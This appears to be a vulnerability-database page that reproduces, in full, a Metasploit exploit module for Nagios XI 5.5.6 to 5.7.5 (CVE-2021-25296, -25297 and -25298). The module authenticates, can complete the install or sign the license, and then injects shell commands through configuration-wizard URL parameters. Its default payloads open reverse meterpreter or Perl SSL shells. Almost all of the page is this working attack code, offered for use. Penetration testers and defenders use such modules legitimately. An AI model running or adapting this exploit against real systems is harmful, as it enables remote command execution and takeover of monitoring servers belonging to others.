Lucene search
K

Nagios XI 5.7.5 Remote Code Execution Exploit

🗓️ 13 Feb 2023 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 428 Views

Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Execution. Exploits OS command injection vulnerabilities in the configuration wizards, allowing authenticated user to perform remote code execution as apache user

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',
        'Description' => %q{
          This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are
          OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm
          configuration wizards that allow an authenticated user to perform remote code
          execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.

          Valid credentials for a Nagios XI user are required. This module has
          been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matthew Mathur'
        ],
        'References' => [
          ['CVE', '2021-25296'],
          ['CVE', '2021-25297'],
          ['CVE', '2021-25298'],
          ['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']
        ],
        'Platform' => %w[linux unix],
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
        'Targets' => [
          [
            'Linux (x86)', {
              'Arch' => [ ARCH_X86 ],
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux (x64)', {
              'Arch' => [ ARCH_X64 ],
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'CMD', {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'unix',
              # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }
            }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 2,
        'DisclosureDate' => '2021-02-13',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])
    ]
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def finish_install
    datastore['FINISH_INSTALL']
  end

  # Returns a status code an a error message on failure.
  # On success returns the status code and an array so we
  # can update the login_result and res_array variables appropriately.
  def handle_unsigned_license(res_array, username, password, finish_install)
    auth_cookies, nsp = res_array
    sign_license_result = sign_license_agreement(auth_cookies, nsp)
    if sign_license_result
      return 5, 'Failed to sign license agreement'
    end

    print_status('License agreement signed. The module will wait for 5 seconds and retry the login.')
    sleep 5
    login_result, res_array = login_after_install_or_license(username, password, finish_install)
    case login_result
    when 1..4 # An error occurred, propagate the error message
      return login_result, res_array[0]
    when 5 # The Nagios XI license agreement still has not been signed
      return 5, 'Failed to sign the license agreement.'
    end

    return login_result, res_array
  end

  def authenticate
    # Use nagios_xi_login to try and authenticate.
    login_result, res_array = nagios_xi_login(username, password, finish_install)
    case login_result
    when 1..3 # An error occurred, propagate the error message
      return login_result, res_array[0]
    when 4 # Nagios XI is not fully installed
      install_result = install_nagios_xi(password)
      if install_result # On installation failure, result is an array with the code and error message
        return install_result[0], install_result[1]
      end

      login_result, res_array = login_after_install_or_license(username, password, finish_install)
      case login_result
      when 1..4 # An error occurred, propagate the error message
        return login_result, res_array[0]
      when 5 # The license agreement still needs to be signed
        login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)
        return login_result, res_array unless (login_result == 0)
      end
    when 5 # The license agreement still needs to be signed
      login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)
      return login_result, res_array unless (login_result == 0)
    end

    print_good('Successfully authenticated to Nagios XI.')
    # Extract the authenticated cookies and nsp to use throughout the module
    if res_array.length == 2
      auth_cookies = res_array[1]
      if auth_cookies && /nagiosxi=[a-z0-9]+;/.match(auth_cookies)
        @auth_cookies = auth_cookies
      else
        return login_result, 'Failed to extract authentication cookies'
      end
      nsp = res_array[0].match(/nsp_str = "([a-z0-9]+)/)
      if nsp
        @nsp = nsp[1]
      else
        return login_result, 'Failed to extract nsp string'
      end
    else
      return login_result, 'Failed to extract auth cookies and nsp string'
    end

    # Set the version here so both check and exploit can use it
    nagios_version = nagios_xi_version(res_array[0])
    if nagios_version.nil?
      return 6, 'Unable to obtain the Nagios XI version from the dashboard'
    end

    print_status("Target is Nagios XI with version #{nagios_version}.")

    # Versions of NagiosXI pre-5.2 have different formats (5r1.0, 2014r2.7, 2012r2.8b, etc.) that Rex cannot handle,
    # so we set pre-5.2 versions to 1.0.0 for easier Rex comparison because the module only works on post-5.2 versions.
    if /^\d{4}r\d(?:\.\d)?(?:(?:RC\d)|(?:[a-z]{1,3}))?$/.match(nagios_version) || nagios_version == '5r1.0'
      nagios_version = '1.0.0'
    end
    @version = Rex::Version.new(nagios_version)

    return 0, 'Successfully authenticated and retrieved NagiosXI Version.'
  end

  def check
    # Authenticate to ensure we can access the NagiosXI version
    auth_result, err_msg = authenticate
    case auth_result
    when 1
      return CheckCode::Unknown(err_msg)
    when 2, 4, 5, 6
      return CheckCode::Detected(err_msg)
    when 3
      return CheckCode::Safe(err_msg)
    end

    if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def execute_command(cmd, _opts = {})
    if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check
      auth_result, err_msg = authenticate
      case auth_result
      when 1
        fail_with(Failure::Disconnected, err_msg)
      when 2, 4, 5, 6
        fail_with(Failure::UnexpectedReply, err_msg)
      when 3
        fail_with(Failure::NotVulnerable, err_msg)
      end
    end

    # execute payload based on the selected targeted configuration wizard
    url_params = {
      'update' => 1,
      'nsp' => @nsp
    }
    # After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298
    # changes from address to ip_address
    if @version <= Rex::Version.new('5.5.7')
      address_param = 'address'
    else
      address_param = 'ip_address'
    end

    # CVE-2021-25296 affects the windowswmi configuration wizard.
    if datastore['TARGET_CVE'] == 'CVE-2021-25296'
      url_params = url_params.merge({
        'nextstep' => 3,
        'wizard' => 'windowswmi',
        'ip_address' => Array.new(4) { rand(256) }.join('.'),
        'domain' => Rex::Text.rand_text_alphanumeric(7..15),
        'username' => Rex::Text.rand_text_alphanumeric(7..20),
        'password' => Rex::Text.rand_text_alphanumeric(7..20),
        'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"
      })
    # CVE-2021-25297 affects the switch configuration wizard.
    elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'
      url_params = url_params.merge({
        'nextstep' => 3,
        'wizard' => 'switch',
        address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",
        'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),
        'scaninterfaces' => 'on'
      })
    # CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by
    # specifying the digitalocean option for the wizard parameter.
    elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'
      url_params = url_params.merge({
        address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",
        'nextstep' => 4,
        'wizard' => 'digitalocean'
      })
    else
      fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')
    end

    print_status('Sending the payload...')
    # Send the final request. Note that the target is not expected to respond if we get
    # code execution. Therefore, we set the timeout on this request to 0.
    send_request_cgi({
      'method' => 'GET',
      'uri' => '/nagiosxi/config/monitoringwizard.php',
      'cookie' => @auth_cookies,
      'vars_get' => url_params
    })
  end

  def exploit
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation